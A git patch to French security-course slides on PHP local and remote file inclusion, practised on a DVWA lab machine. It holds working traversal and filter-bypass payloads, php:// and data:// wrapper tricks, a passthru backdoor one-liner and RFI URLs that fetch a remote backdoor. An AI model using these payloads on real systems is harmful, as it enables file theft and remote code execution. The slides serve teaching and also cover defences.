From 890fb2267a5c39ff8d9a6aac9c137db3ba0b2681 Mon Sep 17 00:00:00 2001 From: Vincent Mazenod <vmazenod@gmail.com> Date: Tue, 20 Jun 2023 00:16:21 +0200 Subject: [PATCH] LFI --- content/slides/1337/cmdi.html | 1 + content/slides/1337/exploits/_server.php | 1 + content/slides/1337/fi.html | 7 +- content/slides/1337/md/cmdi.md | 5 +- content/slides/1337/md/fi.md | 292 +++++++---------------- content/slides/main.js | 6 + 6 files changed, 102 insertions(+), 210 deletions(-) create mode 100644 content/slides/1337/exploits/_server.php create mode 100644 content/slides/main.js diff --git a/content/slides/1337/cmdi.html b/content/slides/1337/cmdi.html index 30474f5..32f4eaa 100644 --- a/content/slides/1337/cmdi.html +++ b/content/slides/1337/cmdi.html @@ -36,6 +36,7 @@ </div> <!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script --> + <script src="../main.js"></script> <script src="../../node_modules/reveal.js/js/reveal.js"></script> <script> diff --git a/content/slides/1337/exploits/_server.php b/content/slides/1337/exploits/_server.php new file mode 100644 index 0000000..e290cfa --- /dev/null +++ b/content/slides/1337/exploits/_server.php @@ -0,0 +1 @@ +<pre><?php system('hostname'); ?></pre> \ No newline at end of file diff --git a/content/slides/1337/fi.html b/content/slides/1337/fi.html index 186ec1f..6c4832f 100644 --- a/content/slides/1337/fi.html +++ b/content/slides/1337/fi.html @@ -7,11 +7,11 @@ <title>File inclusion</title> <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css"> - <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css"> + <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css"> <!-- Theme used for syntax highlighting of code --> <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css"> - <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css"> + <link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css"> <link rel="stylesheet" href="../main.css"> <!-- Printing and PDF exports --> @@ -35,7 +35,7 @@ </div> </div> - <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script> + <!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script --> <script src="../../node_modules/reveal.js/js/reveal.js"></script> <script> @@ -66,5 +66,6 @@ ] }); </script> + <script src="../main.js"></script> </body> </html> diff --git a/content/slides/1337/md/cmdi.md b/content/slides/1337/md/cmdi.md index 8898452..006b403 100644 --- a/content/slides/1337/md/cmdi.md +++ b/content/slides/1337/md/cmdi.md @@ -99,6 +99,7 @@ localhost|ls Note: -détailler l'expression régulière + ### CMDi / security impossible * l'approche est ici différente @@ -155,8 +156,8 @@ Note: * utiliser shell_escape_args() en php * utliser JSON.parse plutot qu'un eval() de JSON * utiliser des lib spéacilisées - * [<i class="fa fa-github"></i> symfony/Filesystem](https://github.com/symfony/Filesystem) - * [<i class="fa fa-github"></i> symfony/Finder](https://github.com/symfony/Finder) + * [<i class="fab fa-github"></i> symfony/Filesystem](https://github.com/symfony/Filesystem) + * [<i class="fab fa-github"></i> symfony/Finder](https://github.com/symfony/Finder) Note: - faire marcher le bon sens diff --git a/content/slides/1337/md/fi.md b/content/slides/1337/md/fi.md index cdbcede..d85678b 100644 --- a/content/slides/1337/md/fi.md +++ b/content/slides/1337/md/fi.md @@ -2,6 +2,8 @@ ## aka LFI / RFI +### Local File Inclusion / Remote File Inclusion + ## File Inclusion @@ -19,16 +21,14 @@ include($_REQUEST['filename']); * concerne [include](http://php.net/manual/fr/function.include.php), [include_once](http://php.net/manual/fr/function.include-once.php), [require](http://php.net/manual/fr/function.require.php), [require_once](http://php.net/manual/fr/function.require-once.php), [fopen](http://php.net/manual/fr/function.fopen.php) -## Local File Inclusion (LFI) - -### [security low](http://dv.wa/vulnerabilities/fi/?page=include.php) +## LFI / security low * souvent appelé **Directory traversal** * permet d'accéder à des fichiers sensibles - * [http://dv.wa/vulnerabilities/fi/?page=/etc/passwd](http://dv.wa/vulnerabilities/fi/?page=/etc/passwd) + * [http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=/etc/passwd](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=/etc/passwd) -* marche aussi avec /etc/hosts, ~/.bashrc, ~/.bash_history ... -* marche pas avec /etc/shadow +* marche aussi avec `/etc/hosts`, `~/.bashrc`, `~/.bash_history` ... +* marche pas avec `/etc/shadow` Note: - open base dir @@ -37,242 +37,130 @@ Note: - anciennement safe_mode -### fichiers sytèmes connus - -* fichiers systèmes génériques - * c:\boot.ini, c:\windows, c:\windows\system32\drivers\etc\hosts - * /etc/passwd -* utilisé des paths absolus -* utilisé des paths relatifs (../.. ou ..\\..) -* windows - * les sevrices tournent souvent en administrateur -* linux - * services en root - * threads avec utlisateur sans privilege - -Note: -- pas de troll sur windows - - stackoverflow fonctionne en .net - - microsoft a ouvert de nombreux projets -- les path en pahse de détection sont d'un grand secours pour comprendre l'organisation du filesystem - - -### fonction de l'architecture du code +## LFI / quelques pistes -* charger la page appelée - * [http://dv.wa/vulnerabilities/fi/?page=index.php](http://dv.wa/vulnerabilities/fi/?page=index.php) +* paths absolus / paths relatifs (../.. ou ..\\..) +* linux `/etc/passwd`, `../../../../../etc/hosts` +* windows `c:\boot.ini`, `c:\windows`, `c:\windows\system32\drivers\etc\hosts` +* [http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=index.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=index.php) * boucle infinie = ca marche * invalider par (include|require)_once -### fonction de l'architecture du code - -* dossier d'inclusion dynamique de fichier - * paramètres d'url full path - * ?config=../template.htm - * paramètres d'url obfusqué - * ?config=site - -```php -include "config/".$config.".php"; -``` - -* [url rewriting](https://www.webrankinfo.com/dossiers/techniques/tutoriel-url-rewriting) à prendre en compte - -[http://dum.my/config.php?config=conf.inc](http://dum.my/config.php?config=conf.inc%00) - -Note: -- magic_quote_gpc doit être disabled - - supprimé de la version 5.4.0 - - pas maquettée on une 5.4.41 sur debian -- code source inclu interprété ou pas - - pas toujours évident à savoir - - bien comprendre le contexte -- importance des paths collecter à l'étape de détection -- exploitable via http://mutillid.ae https://www.youtube.com/watch?v=t8w6Bd5zxbU - - textfile passé en post à intercepter avec burp - - bon exercice - - -## Remote File Inclusion (RFI) +## RFI * inclusion de code arbitraire * Backdoor ou Remote shell -* dépend de la configuration de php - * par défaut +* dépend de la configuration de php `/etc/php/7.4/apache2/php.ini` ```ini -; Whether to allow include/require to open URLs (like http:// or ftp://) as files. -; http://php.net/allow-url-include -allow_url_include=Off +allow_url_include=On # just for test purpose ``` -* à On pour les besoins du TP - * certains produits PHP nécessitent cette option +`$ sudo systemctl restart apache2` +<i class="fa-solid fa-face-grin-squint-tears"></i> certains produits PHP nécessitent cette option! -### [security medium](http://dv.wa/vulnerabilities/fi/?page=include.php) -Approche artisanale +## RFI / security low -```php -$file = str_replace("http://", "", $file); -$file = str_replace("https://", "", $file); -``` +* <small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=http://perdu.com](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=http://perdu.com)</small> + * <i class="fas fa-poop"></i> drôle mais pas très utile -Note: -- discuter la surcharge du php.ini via .htaccess - - solution ispconfig -- on reste bien sur security low pour que ca marche +* <small>[https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small> + * <small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small> + * <i class="fa-solid fa-poo"></i> un peu frustrant ## Backdoor -* basiquement permet d'exécuter du code et / ou des commandes systèmes +* Basiquement permet d'exécuter du code et / ou des commandes systèmes * version artisanale + ```php + echo passthru($_GET['cmd']); + ``` + * version plus robuste + * [<i class='fab fa-github' aria-hidden='true'></i> dberliner/php-backdoor](https://github.com/dberliner/php-backdoor) + * [r57shell.net](http://www.r57shell.net/) -```php -echo passthru($_GET['cmd']); -``` - -* version plus robuste - * [<i class='fa fa-github' aria-hidden='true'></i> dberliner/php-backdoor](https://github.com/dberliner/php-backdoor) - * [r57shell.net](http://www.r57shell.net/) +## RFI / backdoor -## remote raw backdoor - -<small>[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php)</small> +<small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php)</small> ### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i> -<small>[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls)</small> +<small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls)</small> ### <i class="fa fa-thumbs-o-down" aria-hidden="true"></i> -<small>[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls) +<small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls) </small> ### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i> -### [security medium](http://dv.wa/vulnerabilities/fi/?page=include.php) - -#### log poisoning +## RFI / security medium -* ne nécessite aucun accès en écriture sur le système de fichier -* nécessite une mauvaise configuration des permissions sur les logs (custom logs) - * [exploitable avec les logs ssh, apache, mysql](http://oleaass.com/file-inclusion-log-poisoning-to-code-execution/) - -dans `/etc/apache2/sites-enabled/dvwa` - -```ìni -CustomLog /home/mazenovi/logs/dvwa-access.log combined -``` - - -#### log poisoning - -* l'utilisateur lié au thread apache a accès en lecture à ce répertoire - -[http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log](http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log) - -* les logs sont affichés +```php + $file = str_replace( + array( "http://", "https://" ), + "", + $file + ); + ``` + +* <small>`?page=hthttp://tp://www.google.fr`</small> +#### [wrappers php](https://www.php.net/manual/en/wrappers.php) +* <small>`?page=php://filter/convert.base64-encode/resource=file1.php`</small> + * récupère le code source php du fichier file1.php +* <small>`?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=`</small> + * exécute `<?php system("hostname"); ?>` Note: -- j'ai volontairement configuré les logs dans un endroit non sécurisé pour que ca marche - - pour des facilités de lectures ou d'archivage ca poeut êtyre une idée (mauvaise) - - lien symbolique doit marcher ausssi - - -## injection de la backdoor - -* netcat (aka nc) permetd'ouvrir des connexions UDP ou TCP - -```shell -$ nc dv.wa 80 -``` - -* Entrer manuellement les paramètres suivant - -```http -GET / HTTP/1.1 -Host: dv.wa -Referer: <?php echo passthru($_GET['cmd']); ?> -User-Agent: 1337-webbrowser -``` - -[http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls](http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls) +- discuter la surcharge du php.ini via .htaccess + - solution ispconfig +- on reste bien sur security low pour que ca marche -attendre le log rotate en cas d'échec -Note: -- notez que les .log ne sont pas associés à l'interpréteur PHP au niveau d'apache - - c'est le include qui interprète gentiment ce qui est entre <?php ... ?> -- attention c'est un one shot -- > /home/mazenovi/logs/dvwa-access.log pour bien voir -- > /home/mazenovi/logs/dvwa-error.log pour bien voir -- ctrl + f "help" pour trouver les rep listés on est dans - - /var/www/dvwa/vulnerabilities/fi/ +## LFI / security medium +```php + $file = str_replace( + array( "../", "..\\" ), + "", + $file + ); + ``` -## PHP [safe mode](http://php.net/manual/fr/ini.sect.safe-mode.php) +* <small>`?page=../../../../../etc/hosts`</small> + * ne fonctionne plus +* <small>`?page=../..././..././..././..././..././etc/hosts`</small> + * permet d'échapper l'échappement +* <small>`?page=/etc/passwd`</small> + * Les paths absolus fonctionnent toujours -* Quand safe mode est actif, PHP vérifie que le propriétaire du script courant est le même que le propriétaire des fichiers ou dossiers qui seront manipulés par ce script. -```shell --rw-rw-r-- 1 rasmus rasmus 33 Jul 1 19:20 script.php --rw-r--r-- 1 root root 1116 May 26 18:01 /etc/passwd -``` +## LFI / security high ```php -readfile('/etc/passwd'); -``` - -```shell -Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not -allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2 +if( !fnmatch( "file*", $file ) && $file != "include.php" ) { + // This isn't the page we want! + echo "ERROR: File not found!"; + exit; +} ``` +* accès au fichier caché + * <small>`?page=file4.php`</small> +* [wrapper file](https://www.php.net/manual/en/wrappers.file.php) + * <small>`?page=file:///etc/hosts`</small> +* le dossier file n'existe pas mais php résout tout de même + * <small>`?page=file/../../../../../../etc/hosts`</small> -## PHP [safe mode](http://php.net/manual/fr/ini.sect.safe-mode.php) - -* senser résoudre le problème du partage de PHP en environnement mutualisé -* déprécié en 5.3 -* supprimé depuis 5.4 -* approche non réaliste - * ce n'est pas à PHP de régler ce problème -* [safe_mode_gid](http://php.net/manual/fr/ini.sect.safe-mode.php#ini.safe-mode-gid) permet d'élargir au groupe s'il est activé - -## [suPHP](http://www.suphp.org/Home.html) - -* executing PHP scripts with the permissions of their owners -* Apache module (mod_suphp) -* setuid root binary (suphp) - * called by the Apache module to change the uid of the process executing the PHP interpreter - * rien ne doit être en chmod 777 - * reporté comme erreur - -abandonné depuis 2013 - - -## [suExec](http://httpd.apache.org/docs/2.4/fr/suexec.html) - -* Au niveau d'Apache -* exécution des programmes CGI et SSI (Server Side Inclusion) - * utilisateur autre que celui par défaut d'apache - -Note: -- bien pour le multi hosting notamment - - chacun ne peut ruiner que son périmètre -- Utilisée de manière appropriée - - réduit considérablement les risques de sécurité -- les deux sont déconseillés car ils se basent sur des mod PHP peu performant par rapport à PHP-FPM - - -## [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir) +## <i class="fa fa-medkit"></i> [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir) * A l'appel de fonctions de type [require_once](http://php.net/manual/fr/function.require-once.php) ou [fopen](http://php.net/manual/fr/function.fopen.php) * le chemin vers le fichier est analysé @@ -282,7 +170,7 @@ Note: * il n'est pas possible d'outre-passer cette restriction avec un lien symbolique -## [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir) +## <i class="fa fa-medkit"></i> [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir) * **.** inclue le fichier lui-même * problématique si on change le dossier courant avec [chdir()](http://php.net/manual/fr/function.chdir.php) @@ -298,7 +186,7 @@ Note: - on peut désactiver chdir ... -## [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php) +## <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php) * realpath() * converti tous les *.* et **..** en path absolue @@ -308,11 +196,11 @@ Note: * 2 fonctions qui combinées évitent les directory traversal -## [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php) +## <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php) ```php $username = $_GET['user']; -$filename = "/home/users/".$username; +$filename = "/home/users/".$username.".txt"; readfile($filename); ``` @@ -320,7 +208,7 @@ peut être sécurisé via realpath() et basename() ```php $username = basename(realpath($_GET['user'])); -$filename = "/home/users/".$username; +$filename = "/home/users/".$username.".txt"; readfile($filename); ``` @@ -329,15 +217,9 @@ ne préserve pas d'une LFI dans le même répertoire ## <i class="fa fa-medkit"></i> Se préserver -* filtrer ses entrées - * avec realpath() et basename() - * par listes blanches * déscativer allow_url_include -* utiliser l'open_base_dir - - -## <i class="fa fa-medkit"></i> Se préserver - +* utiliser open_base_dir * désactiver l'exécution de php sur les répertoires exposés qui n'en ont pas besoin (c.f. [upload](upload.htm)) -* faire attention aux permissions des logs notamment en lecture - * écriture forcément autoriser pour l'utilisateur qui fait tourner le serveur +* filtrer ses entrées + * par listes blanches + * avec realpath() et basename() \ No newline at end of file diff --git a/content/slides/main.js b/content/slides/main.js new file mode 100644 index 0000000..4589ee1 --- /dev/null +++ b/content/slides/main.js @@ -0,0 +1,6 @@ + +"use strict"; + +document.addEventListener('DOMContentLoaded', function() { + console.log(document.getElementsByTagName("a")); + }, false); -- GitLab